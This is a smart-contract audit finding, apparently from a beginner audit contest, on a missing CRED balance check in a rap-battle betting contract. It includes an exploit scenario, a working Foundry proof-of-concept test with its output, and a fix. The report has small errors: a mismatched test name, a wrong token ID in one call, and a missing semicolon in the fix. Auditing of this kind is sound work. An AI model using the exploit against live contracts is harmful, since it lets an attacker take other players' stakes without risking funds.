First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing `CRED` Balance Check in `RapBattle::goOnStageOrBattle` Results in Challengers Being Able to Battle Withouth `Credbility` to Cover the Bet

paprikrumplikas

Summary

When a user enters a battle as a challenger (2nd player on stage), RapBattle::goOnStageOrBattle does not check whether the challenger actually has the CRED balance to cover the bet. Conseqently, challengers can battle without risking any CRED tokens.

Vulnerability Details

To participate in a battle, users need to call RapBattle::goOnStageOrBattle and as arguments to this function, they need to provide

  • (1) the ID of one of their rapper NFTs and

  • (2) the amount of CRED tokens they intend to wager.

However,goOnStageOrBattle does not check whether the challenger actually has the CRED balance to cover the wager amount.

Impact

The challenger can cheat the system and is in an unfair advantage. Having a zero balance of CRED, the challenger does not actually risk any funds when entering a battle, hence cannot lose. Since the defender has no option to withdraw from the battle once entered on the stage, the challenger can keep the defender "hostage" and keep battling it until chance turns to the challenger's favor so that the challenger wins.

Consider the following scenario:

  1. Defender calls RapBattle::goOnStageOrBattle, and submits (1) the ID of one of its (not staked) rapper NFTs and (2) some amount of its CRED balance as a bet.

  2. Defender's NFT and amount of CRED tokens submitted to the battle are transferred to RapBattle.

  3. Challenger calls RapBattle::goOnStageOrBattle, but submits the ID of one of its (not staked) rapper NFTs, and submits the same bet amount as the defender without actually having any balance of CRED.

  4. Assuming that the defender wins the battle, the challenger cannot pay up since it has a zero balance of CRED. The transaction (where the challenger entered the battle) reverts. Defender's NFT and bet is stuck in the RapBattle contract.

  5. Challenger enters the battle again, the same way as in point 3.

  6. Assuming that this time the challenger wins the battle, the defender's bet amount is transferred to the challenger.

  7. Defender's NFT is finally transferred back to the defender.

Proof of Code

Insert the following piece of code in OneShotTest.t.sol:

function test_challengerCanBattleWithoutCred() public {
address defender = makeAddr("defender");
address challenger2 = makeAddr("challenger2");
​
// defender mints, stakes for 4 days, unstakes, then goes on stage
vm.startPrank(defender);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.warp(4 days + 1); // with this, defender wins if run on anvil
streets.unstake(0);
uint256 defenderInitialBalance = cred.balanceOf(defender);
assert(defenderInitialBalance == 4);
uint256 credBet = defenderInitialBalance; // bet his whole balance
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), credBet);
rapBattle.goOnStageOrBattle(0, credBet);
vm.stopPrank();
​
// challenger battles without having cred tokens
vm.startPrank(challenger2);
oneShot.mintRapper();
cred.approve(address(rapBattle), credBet);
assert(cred.balanceOf(challenger2) == 0);
assert(oneShot.ownerOf(1) == challenger2);
oneShot.approve(address(rapBattle), 1);
vm.recordLogs();
vm.expectRevert();
rapBattle.goOnStageOrBattle(0, credBet);
vm.stopPrank();
​
// assertions and logs after 1st round
Vm.Log[] memory entries = vm.getRecordedLogs();
address winner = address(uint160(uint256(entries[0].topics[2])));
assertEq(winner, defender);
console.log("Winner round 1: ", winner);
// defender's credbet and NFT is stuck in the rapBattle contract...
// ...until a valid challanger comes or it loses against challenger2
assert(cred.balanceOf(defender) == 0);
assert(oneShot.ownerOf(0) == address(rapBattle));
​
// 2nd round, challenger2 enters battle again as challenger of defender
vm.prank(challenger2);
vm.warp(4 days + 6); // with this, challenger wins if run on local anvil
vm.recordLogs();
rapBattle.goOnStageOrBattle(1, credBet);
​
// assertions and logs after 2nd round
Vm.Log[] memory entries_2 = vm.getRecordedLogs();
winner = address(uint160(uint256(entries_2[0].topics[2])));
assertEq(winner, challenger2);
console.log("Winner round 2: ", winner);
assert(cred.balanceOf(defender) == 0); // defender lost 4 cred
assert(cred.balanceOf(challenger2) == 4); // challenger2 won 4 cred but did not risk any
}

and test it by executing forge test --mt test_challengerCanBattleWithoutHavingAnNftOrCredTokens.

Output:

Running 1 test for test/OneShotTest.t.sol:RapBattleTest
[PASS] test_challengerCanBattleWithoutCred() (gas: 574049)
Logs:
Winner round 1: 0x4fAD2c378d74800f0Be9eAbE53e1236dE790806F
Winner round 2: 0xd9230796eAB96bC0dDFB7A732aF97F5b482C5b71
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.62ms

Tools Used

Manual review, Foundry.

Recommendations

Before starting the battle, check that the challenger has enough CRED balance to cover the bet:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ require(credToken.balanceOf(msg.sender) >= _credBet, "Not enough CRED balance to cover the bet!")
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.